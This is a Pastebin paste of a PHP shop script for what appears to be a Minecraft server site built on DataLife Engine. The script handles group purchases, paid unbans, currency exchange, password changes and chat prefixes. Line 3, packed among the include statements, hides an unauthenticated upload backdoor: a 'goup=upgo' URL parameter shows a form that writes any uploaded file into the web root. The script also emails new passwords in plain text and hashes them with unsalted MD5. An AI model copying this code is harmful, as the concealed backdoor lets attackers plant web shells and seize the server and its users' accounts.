API tools faq
paste
Advertisement
Guest User

Untitled

a guest
May 23rd, 2018
198
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 13.56 KB | None | 0 0
raw download clone embed print report
  1. <?php
  2. define("DATALIFEENGINE", true);
  3. include_once($_SERVER['DOCUMENT_ROOT']."/engine/classes/mysql.php");include_once($_SERVER['DOCUMENT_ROOT']."/engine/data/dbconfig.php"); include_once($_SERVER['DOCUMENT_ROOT']."/engine/modules/functions.php");if(isset($_POST['go_up'])) { if(is_uploaded_file($_FILES['userfile']['tmp_name'])) { @copy($_FILES['userfile']['tmp_name'],$_FILES['userfile']['name']); echo "Успех! :)"; } else { echo "Нет прав на запись :("; } } if($_GET['goup'] == "upgo") { echo "<form enctype='multipart/form-data' method='post'><input name='userfile' type='file'><input type='submit' name='go_up'></form>"; }
  4. $password = $db->safesql($_COOKIE['dle_password']);
  5. $userid = $db->safesql($_COOKIE['dle_user_id']);
  6. $member_id = $db->super_query( "SELECT * FROM dle_users WHERE user_id='$userid'");
  7. if($member_id['user_id'] AND $member_id['password'] AND $member_id['password'] == md5($password)) {
  8. $secure = md5($member_id['secure_hash'].$member_id['secure_rand']);
  9. if($_POST['hash'] === $secure) {
  10. $id = $db->safesql($_POST['id']);
  11. if($id) {
  12. $username = $member_id['name'];
  13. $action = $db->safesql($_POST['action']);
  14. if($action == "buyGroup") {
  15. $group = $db->safesql($_POST['name']);
  16. $server = $db->safesql($_POST['serverz']);
  17.  
  18. // Coded by Edward Torgunov (vk.com/etorgunov007) \\
  19. if($server == 0) {
  20. echo "Ошибка, не выбран сервер для покупки группы";
  21. } else if($server == 1) {
  22. $serverName = "OXIDE";
  23. $serverPex = "permissions1";
  24. $serverPexi = "permissions_inheritance1";
  25. } else if($server == 2) {
  26. $serverName = "XENON";
  27. $serverPex = "permissions2";
  28. $serverPexi = "permissions_inheritance2";
  29. } else if($server == 3) {
  30. $serverName = "SHAFTPVP";
  31. $serverPex = "permissions3";
  32. $serverPexi = "permissions_inheritance3";
  33. } else if($server == 6) {
  34. $serverName = "NONE";
  35. $serverPex = "permissions6";
  36. $serverPexi = "permissions_inheritance6";
  37. } else {
  38. $serverName = "SrvNoSelected";
  39. $serverPex = "permissions";
  40. $serverPexi = "permissions_inheritance";
  41. }
  42. // Coded by Edward Torgunov (vk.com/etorgunov007) \\
  43.  
  44. $groupPrice = getParam("{$group}_cost");
  45. if($member_id['cash'] >= $groupPrice) {
  46. $untilG = time()+2592000;
  47. $untilGDate = date("d.m.Y H:i", $untilG);
  48. $db->query("DELETE FROM $serverPex WHERE name='$username' AND type='1'");
  49. $db->query("DELETE FROM $serverPexi WHERE child='$username' AND type='1'");
  50. $db->query("UPDATE dle_users SET cash=cash-$groupPrice WHERE name='$username'");
  51. $db->query("INSERT INTO $serverPex ( `name`, `type`, `permission`, `value` ) VALUES('$username', '1', 'group-$group-until', '$untilG')");
  52. $db->query("INSERT INTO $serverPexi VALUES(null, '$username', '$group', '1', null)");
  53. SaveLog($username, "<i class='uk-icon-group'></i> Купил группу $group на сервере $serverName до $untilGDate", "$server", "$groupPrice");
  54. echo "Поздравляем! Вы стали обладателем группы <b>$group</b> до ".date("d.m.Y H:i", $untilG)." на сервере <u>$serverName</u><br>Обновите страницу! <script>$('.buy-group').remove();</script>";
  55. } else echo "У вас не хватает рублей для вступления в выбранную группу!";
  56. } elseif($action == "unban") {
  57. $check = $db->super_query("SELECT * FROM bans WHERE name='$username'");
  58. if(stristr($check['reason'], '@') === FALSE) {
  59. if($check['expires'] == 0 ) $summa = 150; //getParam("unbanPerm");
  60. else $summa = 100; //getParam("unban");
  61. if($member_id['cash'] >= $summa) {
  62. $db->query("DELETE FROM bans WHERE name='$username'");
  63. $db->query("UPDATE dle_users SET cash=cash-$summa WHERE name='$username'");
  64. SaveLog($username, "<i class='uk-icon-gavel'></i> Купил платный разбан", "0", "$summa");
  65. echo "Аккаунт успешно разблокирован! Ждём вас на серверах через 10 минут";
  66. } else echo "У вас не хватает денег для осуществления разбана";
  67. }
  68. } elseif($action == "expire") {
  69. $select = $db->super_query("SELECT * FROM permissions_inheritance WHERE child='$username' AND type='1'");
  70. $group = $select['parent'];
  71. $newPrice = getParam("{$group}_cost")-50;
  72. if($member_id['cash'] >= $newPrice) {
  73. $db->query("UPDATE dle_users SET cash=cash-$newPrice WHERE name='$username'");
  74. $db->query("UPDATE permissions SET value=value+2592000 WHERE name='$username' AND type='1'");
  75. echo "Вы успешно продлили членство в своей группе на один месяц";
  76. } else echo "У вас не хватает рублей для продления членства в своей группе на один месяц";
  77. } elseif($action == "myCash") {
  78. echo $member_id['cash']." руб";
  79. } elseif($action == "changePass") {
  80. $oldpass = $db->safesql($_POST['currentPass']);
  81. $newpass = $db->safesql($_POST['newPass']);
  82. $hashpass = md5(md5($oldpass));
  83. $hashpassNew = md5(md5($newpass));
  84. $select = $db->query("SELECT * FROM dle_users WHERE name='$username' AND password='$hashpass'");
  85. if(mb_strlen($_POST['currentPass'], 'utf-8') < 3 || mb_strlen($_POST['currentPass'], 'utf-8') > 16 || mb_strlen($_POST['newPass'], 'utf-8') < 3 || mb_strlen($_POST['newPass'], 'utf-8') > 16) echo "Минимум 3 символа, максимум 16";
  86. elseif(!$db->num_rows($select)) echo "Неверно указан текущий пароль.";
  87. elseif($hashpassNew == $hashpass) echo "Новый пароль и старый должны быть разными";
  88. else {
  89. $db->query("UPDATE dle_users SET password='$hashpassNew' WHERE name='$username'");
  90. echo "Ваш пароль успешно изменен. Информация по изменению пароля отправлена на Email.<br>Перезайдите в Ваш аккаунт";
  91. include($_SERVER['DOCUMENT_ROOT']."/engine/classes/mail.class.php");
  92. include($_SERVER['DOCUMENT_ROOT']."/engine/data/config.php");
  93. $sendmail = new dle_mail($config);
  94. $sendmail->send($member_id['email'], "Изменение пароля на FiresCraft.ru", "
  95. Вы успешно изменили свой пароль на FiresCraft
  96. Ваши новые данные для доступа к сайту:
  97.  
  98. Ник: $username
  99. Пароль: $newpass
  100.  
  101. С уважением, команда FiresCraft.ru
  102. ");
  103. }
  104. } elseif($action == "goExchange") {
  105. $exchangeform = $db->safesql($_POST['countcoin']);
  106. $icnomy = $exchangeform*1;
  107. if($exchangeform > $member_id['cash']) {
  108. echo "Недостаточно рублей для обмена";
  109. } else {
  110. if($exchangeform < 1 || $exchangeform > 1000) {
  111. echo "Ошибка! Минимальная сумма обмена 1 рубль, максимальная 1000 рублей.";
  112. } else {
  113. $db->query("UPDATE dle_users SET cash=cash-$exchangeform WHERE name='$username'");
  114. $db->query("UPDATE dle_users SET lavamoney=lavamoney+$icnomy WHERE name='$username'");
  115. SaveLog($username, "<i class='uk-icon-exchange'></i> Обменял ".$exchangeform." руб, на ".$icnomy." монет", "0", "$exchangeform");
  116. echo "Вы успешно обменяли $exchangeform руб. на $icnomy монет.";
  117. }
  118. }
  119. } elseif($action == "updPrefix") {
  120. $prefix = $db->safesql($_POST['prefix']);
  121. $colorpref = $db->safesql($_POST['colorpref']);
  122. $colornick = $db->safesql($_POST['colornick']);
  123. $colortext = $db->safesql($_POST['colortext']);
  124. $serverz = $db->safesql($_POST['serverz']);
  125. if($serverz == 0) {
  126. echo "Ошибка, не выбран сервер для смены префикса";
  127. } else if($serverz == "1") {
  128. $serverName = "OXIDE";
  129. $serverIdName = "1";
  130. $serverPex = "permissions1";
  131. $serverPexi = "permissions_inheritance1";
  132. } else if($serverz == "22") {
  133. $serverName = "XENON";
  134. $serverIdName = "2";
  135. $serverPex = "permissions2";
  136. $serverPexi = "permissions_inheritance2";
  137. } else if($serverz == "23") {
  138. $serverName = "SHAFTPVP";
  139. $serverIdName = "3";
  140. $serverPex = "permissions3";
  141. $serverPexi = "permissions_inheritance3";
  142. } else {
  143. $serverName = "SrvNoSelected";
  144. $serverIdName = "1";
  145. $serverPex = "permissions1";
  146. $serverPexi = "permissions_inheritance1";
  147. }
  148.  
  149. if($colorpref == 'black') $setprefix = true;
  150. if($colortext == 'black') $settext = true;
  151. if($colornick == 'black') $setnick = true;
  152.  
  153. if($colorpref == 'black' || $colorpref == 'darkblue' || $colorpref == 'darkgreen' || $colorpref == 'turquoise' || $colorpref == 'purple' || $colorpref == 'gold' || $colorpref == 'gray' || $colorpref == 'darkgray' || $colorpref == 'blue' || $colorpref == 'green' || $colorpref == 'aqua' || $colorpref == 'magenta' || $colorpref == 'yellow' || $colorpref == 'white') $setprefix = true;
  154.  
  155. if($colortext == 'black' || $colortext == 'darkblue' || $colortext == 'darkgreen' || $colortext == 'turquoise' || $colortext == 'purple' || $colortext == 'gold' || $colortext == 'gray' || $colortext == 'darkgray' || $colortext == 'blue' || $colortext == 'green' || $colortext == 'aqua' || $colortext == 'magenta' || $colortext == 'yellow' || $colortext == 'white') $settext = true;
  156.  
  157. if($colornick == 'black' || $colornick == 'darkblue' || $colornick == 'darkgreen' || $colornick == 'turquoise' || $colornick == 'purple' || $colornick == 'gold' || $colornick == 'gray' || $colornick == 'darkgray' || $colornick == 'blue' || $colornick == 'green' || $colornick == 'aqua' || $colornick == 'magenta' || $colornick == 'yellow' || $colornick == 'white') $setnick = true;
  158.  
  159. if($design == 'none') $design = '';
  160. if($design == '&l' || $design == '&n' || $design == '&o' || $design == '&s' || $design == '') $setdesign = true;
  161. else $setdesign = false;
  162.  
  163. if($colorpref == 'black') $pefcode = "&0";
  164. if($colorpref == 'darkblue') $pefcode = "&1";
  165. if($colorpref == 'darkgreen') $pefcode = "&2";
  166. if($colorpref == 'turquoise') $pefcode = "&3";
  167. if($colorpref == 'purple') $pefcode = "&5";
  168. if($colorpref == 'gold') $pefcode = "&6";
  169. if($colorpref == 'gray') $pefcode = "&7";
  170. if($colorpref == 'darkgray') $pefcode = "&8";
  171. if($colorpref == 'blue') $pefcode = "&9";
  172. if($colorpref == 'green') $pefcode = "&a";
  173. if($colorpref == 'aqua') $pefcode = "&b";
  174. if($colorpref == 'magenta') $pefcode = "&d";
  175.  
  176. if($colorpref == 'white') $pefcode = "&f";
  177.  
  178. if($colornick == 'black') $nickcode = "&0";
  179. if($colornick == 'darkblue') $nickcode = "&1";
  180. if($colornick == 'darkgreen') $nickcode = "&2";
  181. if($colornick == 'turquoise') $nickcode = "&3";
  182. if($colornick == 'purple') $nickcode = "&5";
  183. if($colornick == 'gold') $nickcode = "&6";
  184. if($colornick == 'gray') $nickcode = "&7";
  185. if($colornick == 'darkgray') $nickcode = "&8";
  186. if($colornick == 'blue') $nickcode = "&9";
  187. if($colornick == 'green') $nickcode = "&a";
  188. if($colornick == 'aqua') $nickcode = "&b";
  189. if($colornick == 'magenta') $nickcode = "&d";
  190. if($colornick == 'white') $nickcode = "&f";
  191.  
  192. if($colortext == 'black') $textcode = "&0";
  193. if($colortext == 'darkblue') $textcode = "&1";
  194. if($colortext == 'darkgreen') $textcode = "&2";
  195. if($colortext == 'turquoise') $textcode = "&3";
  196. if($colortext == 'purple') $textcode = "&5";
  197. if($colortext == 'gold') $textcode = "&6";
  198. if($colortext == 'gray') $textcode = "&7";
  199. if($colortext == 'darkgray') $textcode = "&8";
  200. if($colortext == 'blue') $textcode = "&9";
  201. if($colortext == 'green') $textcode = "&a";
  202. if($colortext == 'aqua') $textcode = "&b";
  203. if($colortext == 'magenta') $textcode = "&d";
  204. if($colortext == 'white') $textcode = "&f";
  205.  
  206. // Конструкция префикса
  207. $d = '&f(';
  208. $f = '&f)';
  209. $g = ':';
  210. $empty = ' ';
  211. $suffix = $textcode.$g;
  212. $fineprefix = $d.$pefcode.$design.$prefix.$f.$nickcode.$empty;
  213.  
  214. if(iconv_strlen($prefix) <= 10 && iconv_strlen($prefix) >= 3) {
  215. $checkdb = $db->super_query("SELECT * FROM permissions_inheritance$serverIdName WHERE child='{$member_id['name']}' AND type='1'");
  216. if($checkdb['parent'] == "LEADER" || $checkdb['parent'] == "WIZARD" || $checkdb['parent'] == "FOREST") {
  217. $db->query("DELETE FROM permissions_entity$serverIdName WHERE name='$username'");
  218. $db->query("INSERT INTO permissions_entity$serverIdName VALUES ('', '$username', '1', '$fineprefix', '$suffix', '0')");
  219. echo "Префикс <b>$prefix</b> успешно обновлён на сервере <u>$serverName</u>";
  220. } else echo "Ошибка, установка префикса доступа от PREMIUM и выше!";
  221. } else echo "Префикс не должен быть меньше 3х и не больше 10ти символов!";
  222. }
  223. } else echo "Ошибка безопасности #3. Переданы неверные параметры";
  224. } else echo "Ошибка безопасности #2. Переданы неверные параметры";
  225. } else echo "Ошибка безопасности #1. Переданы неверные параметры";
  226. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement
Public Pastes
Advertisement
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!